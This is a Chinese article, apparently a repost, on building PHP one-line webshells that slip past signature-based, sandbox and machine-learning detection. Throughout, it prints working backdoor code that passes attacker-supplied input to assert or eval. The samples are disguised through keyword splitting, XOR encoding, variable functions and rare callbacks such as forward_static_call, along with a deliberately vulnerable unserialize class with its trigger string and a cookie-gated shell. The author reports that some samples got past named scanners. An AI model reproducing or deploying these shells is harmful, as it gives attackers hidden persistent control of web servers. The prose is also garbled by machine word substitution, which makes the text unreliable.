一句话木马是一样平常是指一段短小精悍的恶意代码,这段代码可以用作一个代理来实行攻击者发送过来的任意指令,有体积小、暗藏性强、功能强大等特点. 当然很多时候是由于方便,再加上这些年菜刀,蚁剑,冰蝎的发展,使得一句话木马被广泛运用于渗透过程中
从一句话木马涌现到现在也有好多年的历史了,这些年友军也没闲着,呈现出了各种防护系统以及各种新技能,本文就来大略磋商一下在新技能背景下的一句话免杀.

主流webshell检测系统的检测方向
1.基于特色(正则表达式、黑名单制)检测的防护
2.基于行为+特色(沙盒技能、深度学习、机器学习)检测的防护
基于PHP措辞版本对函数&免杀方法的影响
以下免杀方法仅对PHP版本7.1以下有效,部分免杀思路可以运用到7.1及其以上
在先容影响之前首先先解释PHP中eval函数和assert函数的不同之处
eval:实在eval不能算是一个函数,它是一个措辞布局器,措辞布局器就相称于C中的预定义宏的意思,它属于php措辞内部定义的关键词,不可以被修正,也不可以被禁用,同时措辞布局器实行速率也比正常的函数要快,但是措辞布局器不能被可变函数调用,可变函数便是通过一个变量获取个中的变量值,然后给该值加入(),使其变成一个函数去实行.普通的讲便是<?php $a=”eval”;
@$a(@$_REQUEST[‘x’]); ?>这样是行不通的,这也便是为什么大家都是环绕着assert去进行各种变换&绕过.
但是在7.1版本中assert已经弗成了,也便是说想要制作webshell必须要eval进行组成,在后面我会讲一些关于7.1之后的思路.但是可以预见到的是,如果完备过度到7.1以及往后版本之后,webshell的免杀的难度会大大增加.
下面针对这几种防护方向进行bypass
一.打破基于特色检测&静态检测的防护
绕过目标:
D盾
http://www.d99net.net/down/WebShellKill_V2.0.9.zip
安全狗
http://download.safedog.cn/download/software/safedogwzApache.exe
首先一句话木马的事理和功能用过的朋友都知道,核心便是要把字符串当作php代码进行实行,个中在php措辞中,紧张会利用eval和assert这两种函数,干系的变形和打破都是环绕着这两个函数以及字符串.
思路1.变换关键字变换关键字这种办法一样平常安全设备的厂商都能识别,一样平常很难见效了,这里详细就举几个思路很不错的例子,毕竟打组合拳还是须要这些思路的.
个中一些思路还是和一样平常绕过差不多
编码&拆解合并
利用各种字符串处理函数以及可变函数将一些敏感关键字变形,做到通过大略正则无法识别的地步
举个例子:
<?php$arr=explode(",","a,s,d,f,s,d,e,k,r,t");$payload=$arr[0].$arr[1].$arr[4].$arr[6].$arr[8].$arr[9];//assert//php版本哀求:<=7.0@$payload(@$_GET['x']);//payload?>
同样规则的还有编码,利用编码隐蔽关键字,核心思路都是:隐蔽->还原->拼接实行
函数可以参考PHP的string函数
https://www.w3school.com.cn/php/php_ref_string.asp
或者通过定义数组能起到相同的效果
<?php$array = array( 'part_one' => false, 'part_two' => $_REQUEST['x'],);eval($array['part_one'].$array['part_two']);?>
随机异或加密
实在这个也是隐蔽关键字的一种办法,只不过方法利用的随机异或的方法来进行隐蔽关键字
举个例子:$a="Y"^"8"//a
利用异或来组成字符,也是一种很不错的思路,组合一下就成了下面的例子了:
<?php//也可以用十六进制进行进一步加密,例如//$r="x4d"^"x3f";$one="Y"^"8";//a$two="T"^"'";//s$three=""^"O";//e$four="M"^"?";//r$five="-"^"Y";//t$payload=$one.$two.$two.$three.$four.$five;@$payload(@$_REQUEST['x']);?>
可变变量&函数
这里紧张是利用PHP措辞特性进行稠浊
可变变量
<?php$a='assert';$b='a'; //$$b=assert?>
利用到木立时便是
<?php$a='assert';$b='a';$$b($_REQUEST['x']);?>
可变函数
可变函数前面先容过了,大略的说便是一个变量名如果后门有()的话,PHP将会探求与变量的值同名的函数,并且考试测验实行它.
我们可以利用这点来进行稠浊利用
举个例子
<?php@$_REQUEST['z'](@$_REQUEST['x']);?>
思路2.利用不常见的回调函数
显然像eval和assert 无论你怎么稠浊或者伪装,waf以及查杀都会重点照顾他们,但是作为天下上最好的措辞(笑),怎么可能灵巧性这么差,我们可以利用一些冷门的回调函数进一步稠浊&包装他们.
但是利用这些冷门的回调函数首先会涌现一个问题,怎么去探求这些函数?
这里分享一下方法:利用特色值去探求冷门回调函数
首先我们看一下能够利用的函数都有那些特色值,举个例子
首先来个常见的可利用的回调函数,call_user_func,看下英文阐明找到个中的特色
callback,什莫是特色?便是能够被利用的关键便是特色,能够被利用的回调函数的特色
1.回调函数
2.被调用
3.参数
4.方法
依次类推,总结成特色,翻译成英文便是called,callable,callback,invoke,function
以这些作为特色进行搜索探求,能够大大减小搜索范围,增加找到的成功率
冷门回调函数绕过传统查杀
通过这种方法我们找到了forward_static_call()函数,利用它进行免杀
<?phpclass test1{ public static function test2() { forward_static_call("assert", @$_REQUEST['x']); }}test1::test2();?>
经测试,已过D盾,安全狗
思路3.正常代码隐蔽&主动触发命令实行这里紧张利用PHP中可能存在命令实行漏洞的位置,然后去布局这个漏洞和触发它,达到命令实行->木马的目的.
这里紧张是利用正常代码去稠浊,这里举一个利用序列化漏洞触发命令实行的例子,同时这也是思路之一,利用正常代码去隐蔽行为.相同道理,把一些敏感函数写在类或者自定义的函数里面,同样可以起到相同的效果.写的越靠近业务逻辑代码,免杀的可能性就越高
布局漏洞
<?phpclass payload_test{ public $data="text"; function __destruct() { eval($this->data); }}$file_name=$_GET['x'];unserialize($file_name);?>
触发命令实行
?x=O:12:"payload_test":1:{s:4:"data";s:10:"phpinfo();";}
检测之后,可过狗,但是D盾会报反序列化
以上这些思路和方法可以绕过一样平常的WAF&查杀,但是随着科技发展,越来越多的厂商选择利用机器学习算法以及动态检测技能来检测webshell.二.打破基于机器学习技能的webshell查杀&基于动态检测技能的webshll查杀
绕过目标:
基于动态检测技能的webshell检测
https://scanner.baidu.com/#/pages/intro
基于深度学习模型的webshell检测
http://webshell.cdxy.me/
经由查阅一些资料创造,基于机器学习的webshell检测创造紧张环绕着以下几种办法
1.网络webshell作为演习样本然后进行分类的黑名单演习
2.网络正常PHP业务逻辑代码和流量,进行白名单演习
3.如果直接用源代码剖析,可能会涌现很多的噪音,比如注释内容、花操作等等。为了过滤掉这些噪音。以是,我们利用PHP opcode 进行剖析。这也是我查阅的资料中目前识别准确率较高的一种办法,比较推举利用兜哥的opcode&n-gram模型.
兜哥文章:https://mp.weixin.qq.com/s/1V0xcjH-6V5qJoJILP0pJQ
动态检测技能,紧张思路是将webshell放入沙盒,通过在沙盒中实行来剖析行为,或者是利用RASP技能进行检测,这种防御手段也是彻底封去世了基于稠浊&隐蔽的这种免杀手段了.
在不该用加密这种手段的条件下,有没有一种办法可以绕过基于这俩种技能的检测呢?
后来我在主动触发命令实行中找到了一些思路
为何主动触发命令实行这种办法能够稠浊?便是由于再没有传入关键key值之前,它便是一段正常的代码,没有任何危害性,同理,应对以上两种技能我们可以利用相同的办法,用正常代码来稠浊,在没有通报或者精确打开key值之前,它便是一段无害的代码,只有拥有了关键的key值,它才能变成木马.
也便是说,沙盒运行中webshell没有关键信息,以是它是人畜无害的,自然就免杀了,当我们连接的时候会带上关键key,自然就会变成后门木马.
下一个问题是关键信息怎么携带?思考了下,总结了几种办法
1.HTTP-head
2.HTTP-body
3.文件名
举个例子
<?phpclass test1{ public static function test2() { $part = @$_COOKIE['cake']; if ($part != 'assert') { exit(); } else { forward_static_call($part, @$_REQUEST['x']); } }}test1::test2();?>
这样就做到了利用正常代码进行稠浊的效果了,在不传入cake的时候,它便是无害的代码,一旦传入cake值为assert,就可以变成木马进行利用.
连接也是成功的
下面准备打破基于这两种技能的webshell查杀
机器学习打破
动态检测打破
利用这种办法,基于这两种技能的webshell检测基本就可以绕过了.
三.对付PHP7.1后webshell免杀的问题
关于这类问题,我相信看完前面的你,对付只能用eval的问题该当有一些思路了,如果没有这里可以给几点建议
1.既然不能稠浊assert,那就稠浊$_GET,$_POST,$_REQUEST,这种变量,会绕过一部分检测
2.利用正常代码稠浊是依旧有效果的,由于正常代码中一样会涌现eval
3.利用Apache、Nginx的特性实现免杀Webshell,感兴趣的可以参考下链接 https://www.uedbox.com/post/51694/
四.总结
对付冷门的回调函数以及各种花式稠浊布局出的木马,基于传统的特色&黑名单检测已经失落效了,要绕过这些很大略,因此已经失落去了对抗webshell的意义了
对付新型的动态检测来说,还是不足成熟和稳定,但是很期待,它将会颠覆传统意义上的WAF.
下一篇可以讲下这种动态检测的背后—OpenRASP的技能事理和运用层次
对付机器学习模型检测来说,虽然效果大于基于规则的传统WAF,但是由于PHP本身的灵巧性以及动态性,可以看到再不搞多维的情形下,难以有较好的效果(可能有大厂在样本弘大的情形下已经有了较好的模型,但是emmmm我也拿不到)
末了还是比较看好动态检测技能,也便是RASP防御,希望RASP 在未来一段韶光内可以逐渐取代流量层 WAF 成为主流防御办法.
对付免杀来说,最主要的还是思路,以及对方利用的防御系统的理解,”心腹知彼,百战不殆”,个人以为想要免杀不是一件很难的事情,一个是多fuzzing,知道对方的防御规则以及事理,然后根据这些找出弱点进行绕过,另一个便是思路要灵巧,要会打组合拳,一个思路弗成,就多个思路组合在一起,多试试总是可以的.
原文链接:https://www.anquanke.com/post/id/197624